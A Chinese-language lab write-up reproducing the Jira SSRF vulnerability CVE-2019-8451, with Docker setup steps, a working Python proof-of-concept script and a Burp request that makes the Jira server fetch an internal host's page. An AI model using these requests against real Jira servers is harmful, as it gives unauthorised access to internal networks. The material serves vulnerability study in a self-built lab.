CVE-2019-8451(Jira未授权SSRF漏洞)

1.漏洞概述

jira的/plugins/servlet/gadgets/makeRequest资源存在ssrf漏洞。

2.环境搭建

使用docker 进行搭建

docker pull cptactionhank/atlassian-jira:7.8.0
docker run --detach --publish 8080:8080 cptactionhank/atlassian-jira:7.8.0

访问ip:8080进行安装jira,安装过程需要生成JIRA使用许可证，这里我找了半天，需要先注册账号，然后再访问下面这个链接

https://my.atlassian.com/license/evaluation 这个

3.漏洞利用

这里我找了一个poc，利用ssrf将请求链接到ceye.io上面，可以看到回显记录

import requests

import sys

# http://www.jas502n.com:8080/plugins/servlet/gadgets/makeRequest?url=http://www.jas502n.com:8080@www.baidu.com/
from past.builtins import raw_input


def ssrf_poc(url, ssrf_url):
    if url[-1] == '/':
        url = url[:-1]
    else:
        url = url

    vuln_url = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + '@' + ssrf_url

    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "X-Atlassian-Token": "no-check",
    "Connection": "close"
    }

    r = requests.get(url=vuln_url, headers=headers)
    if r.status_code == 200 and 'set-cookie' in r.text:
        print("\n>>>>Send poc Success!\n")
        print('X-AUSERNAME= %s' % r.headers.get('X-AUSERNAME'))
        print("\n>>>>vuln_url= " + vuln_url + '\n')
        print(r.content)
    else:
        print("No Vuln Exit!")


if __name__ == "__main__":
    
    while True:
        print()
        ssrf_url = raw_input(">>>>SSRF URL: ")
        url = "http://192.168.184.130:8080/"   #这是我搭建环境的地址
        ssrf_poc(url, ssrf_url)

运行poc需要输入dnslog地址

当然可以利用这个漏洞访问内网资源，原理:向http://192.168.184.130 这个服务器发送请求，让它向内网的另一台服务器192.168.184.131发起请求

burpsuit POC

GET /plugins/servlet/gadgets/makeRequest?url=http://192.168.184.131/sqli-labs/Less-1/?id=1 HTTP/1.1
Host: 192.168.184.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.184.130:8080/secure/Dashboard.jspa
X-Atlassian-Token: no-check
Content-Length: 0

发送请求并收到了http://192.168.184.131/sqli-labs/Less-1/?id=1的页面信息

这里需要设置jira的白名单，不然会拒绝访问